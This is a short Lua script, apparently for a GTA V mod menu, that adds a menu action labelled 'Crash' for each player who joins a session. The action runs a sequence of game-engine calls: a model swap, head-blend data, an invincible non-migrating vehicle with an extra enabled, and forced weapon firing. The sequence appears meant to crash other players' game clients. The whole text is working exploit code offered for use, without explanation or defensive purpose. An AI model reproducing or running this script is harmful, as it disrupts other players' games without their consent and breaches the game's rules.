util.require_natives(1672190175) function Playerjoin(pid) menu.action(menu.my_root(), "Crash", {""}, "", function() STREAMING.REQUEST_MODEL(util.joaat("buccaneer2")) while not STREAMING.HAS_MODEL_LOADED(util.joaat("buccaneer2")) do util.yield() end menu.trigger_commands("bottomless on") menu.trigger_commands("noreload on") menu.trigger_commands("csbmpagent14") -- csbmpagent14 iglestercrest igorleans local player = players.user_ped() util.yield(1000) PED.SET_PED_HEAD_BLEND_DATA(player, 0, 0, 0, 0, 0, 0, 0.0, 0.0, 0.0,true) for i = 1, 3 do TASK.TASK_JUMP(player,true,false,false) util.yield(500) TASK.CLEAR_PED_TASKS_IMMEDIATELY(player) end local pos = ENTITY.GET_ENTITY_COORDS(player) local veh = entities.create_vehicle(util.joaat("buccaneer2"), pos,0) STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(util.joaat("buccaneer2")) entities.set_can_migrate(veh,false) VEHICLE.SET_VEHICLE_EXTRA(veh,2,true) ENTITY.SET_ENTITY_INVINCIBLE(veh,true) WEAPON.GIVE_WEAPON_TO_PED(player,util.joaat("WEAPON_APPISTOL"),9999,true,true) PED.SET_PED_INTO_VEHICLE(player,veh,-1) WEAPON.SET_CURRENT_PED_WEAPON(player,util.joaat("WEAPON_APPISTOL"),true) TASK.TASK_VEHICLE_SHOOT_AT_COORD(player,pos.x,pos.y + 10,pos.z,100.0) local time = util.current_time_millis() + 5000 while time > util.current_time_millis() do PED.SET_PED_RESET_FLAG(player, 65 , true) -- shooting util.yield() end entities.delete(veh) end) end players.on_join(Playerjoin) players.dispatch_on_join() util.keep_running()